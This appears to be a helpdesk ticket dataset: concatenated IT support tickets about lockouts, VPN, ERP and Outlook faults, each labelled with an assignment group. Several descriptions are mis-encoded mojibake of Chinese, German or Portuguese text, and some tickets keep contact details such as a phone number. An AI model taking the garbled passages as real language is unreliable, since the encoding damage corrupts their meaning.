best , is assigned to Assignment group: GRP\_13.Ticket with Short description: æ— æ³•ç™»é™†hr\_toolè€ƒå‹¤ç³»ç»Ÿ, Description: æ˜¾ç¤ºjavaæ’ä»¶æ— æ³•åŠ è½½ï¼Œæ‰€éœ€ç‰ˆæœ¬1.8.0.-45æˆ–æ›´é«˜ç‰ˆæœ¬ã€‚, is assigned to Assignment group: GRP\_30.Ticket with Short description: windows account locked, Description: windows account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp crm complaint when is assigned generating duplicate email, Description: when we update the complaint with assigned status & employee responsible , system is sending duplicate emails to sales employee & employee responsible. , is assigned to Assignment group: GRP\_15.Ticket with Short description: abended job in job\_scheduler: Job\_1148, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1148 at 08/05/16 01:15:24, is assigned to Assignment group: GRP\_9.Ticket with Short description: reboot lhqsm286 (patent web uacyltoe hxgaycze server) server at 11:00 pm et on 08/04., Description: reboot lhqsm286 (patent web uacyltoe hxgaycze server) server at 11:00 pm et on 08/04., is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: Job\_1141, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1141 at 08/04/16 23:45:28, is assigned to Assignment group: GRP\_9.Ticket with Short description: kindly refer mail-renew account for visfgthal--- vvjodav,goptijdtnsya b- vsbhyrt, Description: hello snhdfihytu,
kindly refer mail-renew account for visfgthal--- vvjodav,goptijdtnsya b- vsbhyrt
extn-393
jayhrt bhatyr, is assigned to Assignment group: GRP\_2.Ticket with Short description: SID\_1 log in issue, Description: \_x000D\_
\_x000D\_
received from: rjanhbde.owfkyjcp@gmail.com\_x000D\_
\_x000D\_
could log on to SID\_1 uacyltoe hxgaycze system\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d1eef6.2418b6e0]\_x000D\_
\_x000D\_
warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn è¿žæŽ¥ä¸ä¸Š, Description: vpnè¿žä¸ä¸Šï¼Œè¯·è½¬ç»™ è´ºæ­£å¹³ atcbvglq.bdvmuszt@gmail.com, is assigned to Assignment group: GRP\_30.Ticket with Short description: abended job in job\_scheduler: bkwin\_HostName\_770\_inc, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: bkwin\_HostName\_770\_inc at 08/04/16 22:30:29, is assigned to Assignment group: GRP\_8.Ticket with Short description: hi it help team, please unblock my new company device., Description: from: ntydihzo aeptfbgs \_x000D\_
sent: friday, august 05, 2016 2:51 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: wg: die synchronisierung mit exchange activesync ist auf ihrem gerÃ¤t vorÃ¼bergehend blockiert, bis der zugriff vom administrator gewÃ¤hrt wird.\_x000D\_
importance: high\_x000D\_
\_x000D\_
hi it help team,\_x000D\_
\_x000D\_
please unblock my new company device.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: can you unblock my account so i can use outlook app?, Description: from: nwfodmhc exurcwkm
sent: friday, august 05, 2016 6:32 am
to: prishry budhtya
subject: re: rak re: your mobile device has been denied access to the server via exchange activesync because of server policies.
dear prishry,
, is assigned to Assignment group: GRP\_0.Ticket with Short description: plant\_101 value added services - one day pick route project., Description: request to phase in additional vas customers. file attached with customer accounts..\_x000D\_
add 1 pick day in supply\_chain for the customers in attached list for plant\_101 only., is assigned to Assignment group: GRP\_18.Ticket with Short description: please review your recent ticketing\_tool tickets and let me know who modified the ethics collaboration\_platform site, Description: from: mikhghytr wafglhdrhjop
sent: thursday, august 04, 2016 8:50 pm
to: nwfodmhc exurcwkm
subject: rak fw: ethics collaboration\_platform site
please review your recent ticketing\_tool tickets and let me know who modified the ethics collaboration\_platform site. a few weeks ago i had requested a change that placed a third column of selections. not sure who or why this was undone.
mikhghytr wafglhdrhjop
sr. manager, global ethics and compliance programdntys
from: kzbuhixt zjdmoahr
sent: thursday, august 04, 2016 11:16 am
to: mikhghytr wafglhdrhjop <azxhejvq.fyemlavd@gmail.com>
subject: re: ethics collaboration\_platform site
ohâ€¦â€¦??
sethdyr hdtyr
assistant general counsel â€“ compliance and real estate
global director of ethics & compliance; ccep
kzbuhixt.zjdmoahr@gmail.com
, is assigned to Assignment group: GRP\_16.Ticket with Short description: ç”µè„‘å¼€æœºå¼€ä¸å‡ºæ¥, Description: to å°è´ºï¼Œæ—©ä¸Šç”µè„‘å¼€æœºå¼€ä¸å‡ºæ¥, is assigned to Assignment group: GRP\_30.Ticket with Short description: ticket update, Description: from: rakthyesh ramdntythanjesh \_x000D\_
sent: friday, august 05, 2016 5:26 am\_x000D\_
to: ugyothfz ugrmkdhx\_x000D\_
cc: mikhghytr rhoades\_x000D\_
subject: ticket\_no1535917-no acces to paystub and etime.\_x000D\_
\_x000D\_
good morning safrgyynjit,\_x000D\_
\_x000D\_
user called to service desk and requested to expedite the case, requesting you to own the issue on priority and assist user on same.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook freezing because of crm addin, Description: outlook freezing because of crm addin, is assigned to Assignment group: GRP\_0.Ticket with Short description: inquiry about employee- shesyhur posrt, Description: inquiry about employee- shesyhur posrt, is assigned to Assignment group: GRP\_0.Ticket with Short description: etime- time card update information., Description: etime- time card update information., is assigned to Assignment group: GRP\_0.Ticket with Short description: supply\_chain\_software account unlock and password reset, Description: supply\_chain\_software account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: can't login to bex analyzer through vpn - urgent, Description: \_x000D\_
\_x000D\_
received from: cfzsajbe.lyejkdho@gmail.com\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1eee5.c90cdd40]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: beenefits access on oneteam, Description:
received from: bjitvswa.yrmugfnq@gmail.com
yesterday, it helped me access some additional information on oneteam. but i still do not have a link showing for my benefits. i tried to search and nothing pulls up.
tgbtyim dgtalone
key account manager
bjitvswa.yrmugfnq@gmail.com<mailto:beyklcmj.bgfmrltw@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to HostName\_776, Description: stehdgty jfhying called in for an issue where he and his supervisor was not able to connect to a network drive which is HostName\_776.
they're doing the third shift and as per stehdgty there's only two of them who are working but in another hour there would be 5-6 more people coming., is assigned to Assignment group: GRP\_0.Ticket with Short description: customer group enhanced field, Description: \_x000D\_
\_x000D\_
received from: nlearzwi.ukdzstwi@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
a business decision has recently been made to view mfg\_tooltion (customer classification ik) as indirect sales going forward. currently in the bex system they are classified as direct.\_x000D\_
\_x000D\_
can you please modify the "cust grp 1 â€“ enhanced" field (0cust\_sales\_\_zcustgrp1) to show mfg\_tooltion (customer classification ik) customers as indirect.\_x000D\_
[cid:image001.png@01d1ee74.cc06a6a0]\_x000D\_
\_x000D\_
this field is used in several bex and hana reports (sales v plan, product management, otc billings, etc). let me know if you have any questions.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_9.Ticket with Short description: ess portal, Description:
received from: eagvusbr.nguqityl@gmail.com
hi team,
i was going into the ess file and checking some things for the ytd and this is the screen that shows up. this is on my report tab when i am logged into vpn. please assist in getting this to english.
[cid:image001.jpg@01d1ee74.0a355760]
eagvusbr nguqityl
sales engineer
, is assigned to Assignment group: GRP\_9.Ticket with Short description: robot HostName\_776 is inactive, Description: robot HostName\_776 is inactive, is assigned to Assignment group: GRP\_8.Ticket with Short description: fw: case id [ref:\_case-111121032:ref] :: others, Description: from: pacvbetl yptglhoe \_x000D\_
sent: thursday, august 04, 2016 10:59 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: amar fw: case id [ref:\_case-111121032:ref] :: others\_x000D\_
\_x000D\_
please see the forwarded email below. this looks suspicious to me and may be some sort of phishing or spamming email. please review it and let me know if it looks legitimate and is from legitimate individuals at company. i did not open or view any of the attachments. \_x000D\_
\_x000D\_
i have no idea why accounts payable would be sending me an email.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: please remove user hugcadrn ixhlwdgt (ralfteimp) from palo alto quarantine, Description: please remove user hugcadrn ixhlwdgt (ralfteimp) from palo alto quarantine. user's pc has been replaced, is assigned to Assignment group: GRP\_2.Ticket with Short description: ticket update on inc1538505 to user hbmwlprq ilfvyodx, Description: ticket update on inc1538505 to user hbmwlprq ilfvyodx, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0427635, Description: ticket update on ticket\_no0427635, is assigned to Assignment group: GRP\_0.Ticket with Short description: telephony\_software is missing from pc, Description: pc received multiple windows security updates earlier, and now the telephony\_software software is missing from the screen.\_x000D\_
ran requirements check software to see that dotnet framdntyework 4.6.1 is installed on the pc.\_x000D\_
telephony\_software fails to install in the absence of dotnet 4.5.2\_x000D\_
used dotnet uninstaller to remove all versions, restarted pc, dotnet 4.5.2 still fails to install.\_x000D\_
ran a repair tool to see that the pc still has dot net 4.6.1 installed.\_x000D\_
\_x000D\_
need help to setup the compatible version of dotnet on the pc and help re install telephony\_software 2016 r2\_x000D\_
\_x000D\_
1.checked previous cases/tickets log(cptl) : y\_x000D\_
2.contact number: 346 901 0696\_x000D\_
3.pc name: lmsl9517233\_x000D\_
4.os version: windows 8.1 64 bit\_x000D\_
5.sop exists: y/n: n\_x000D\_
6.steps followed: na\_x000D\_
7.next assignment: amerirtcas pc services\_x000D\_
8.reason for reassignment: need to downgrade dot net to 4.5.2 to install crm 2016 r2 client\_x000D\_
9.cost center: na\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: erp account unlock, Description: name:mfeyouli ndobtzpw
language:
browser:microsoft internet explorer
email:mfeyouli.ndobtzpw@gmail.com
customer number:
telephone:
summary:unlock erp account for gadbpfrz unvdyask user name :boivin, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked, Description: account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: check status in purchasing, Description: please contact ed pasgryowski (pasgryo) about his purchasing check status. each time he tries to view his carts the view changes and he can't see his carts. i told him to click in change query and the show my team carts box but it seems to reset each time., is assigned to Assignment group: GRP\_29.Ticket with Short description: vpn for laptop, Description:
received from: jxgobwrm.qkugdipo@gmail.com
i need a vpn for my new laptop. name llv8517416
knethyen grechduy
engineer, product engineering
company
jxgobwrm.qkugdipo@gmail.com<mailto:jxgobwrm.qkugdipo@gmail.com>
, is assigned to Assignment group: GRP\_34.Ticket with Short description: hr\_tool etime option not visitble , Description: hr\_tool etime option not visitble , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp fi - ob09, two accounts to be added, Description: i am sorry, i have another two accounts that need to be added: 21253264 and 21253268. please copy from 21253214.the problem is that the error only comes up if someone tries to clear open items for these accounts. \_x000D\_
\_x000D\_
this incident has been created against to ticket\_no1536494., is assigned to Assignment group: GRP\_10.Ticket with Short description: tablet needs reimaged due to multiple issues with crm wifi etc, Description: tablet needs reimaged due to multiple issues with crm wifi etc, is assigned to Assignment group: GRP\_3.Ticket with Short description: emails not coming in from zz mail, Description: \_x000D\_
\_x000D\_
received from: avglmrts.vhqmtiua@gmail.com\_x000D\_
\_x000D\_
good afternoon,\_x000D\_
i am not receiving the emails that i sent from zz mail.\_x000D\_
please advise\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: telephony\_software issue, Description: telephony\_software issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip2: windows password reset for tifpdchb pedxruyf, Description: vip2: windows password reset for tifpdchb pedxruyf, is assigned to Assignment group: GRP\_0.Ticket with Short description: machine nÃ£o estÃ¡ funcionando, Description: i am unable to access the machine utilities to finish the drawers adjustment settings.\_x000D\_
is no network.., is assigned to Assignment group: GRP\_62.Ticket with Short description: an mehreren pc`s lassen sich verschiedene prgramdntyme nicht Ã¶ffnen. , Description: an mehreren pc`s lassen sich verschiedene prgramdntyme nicht Ã¶ffnen. bereich cnc., is assigned to Assignment group: GRP\_49.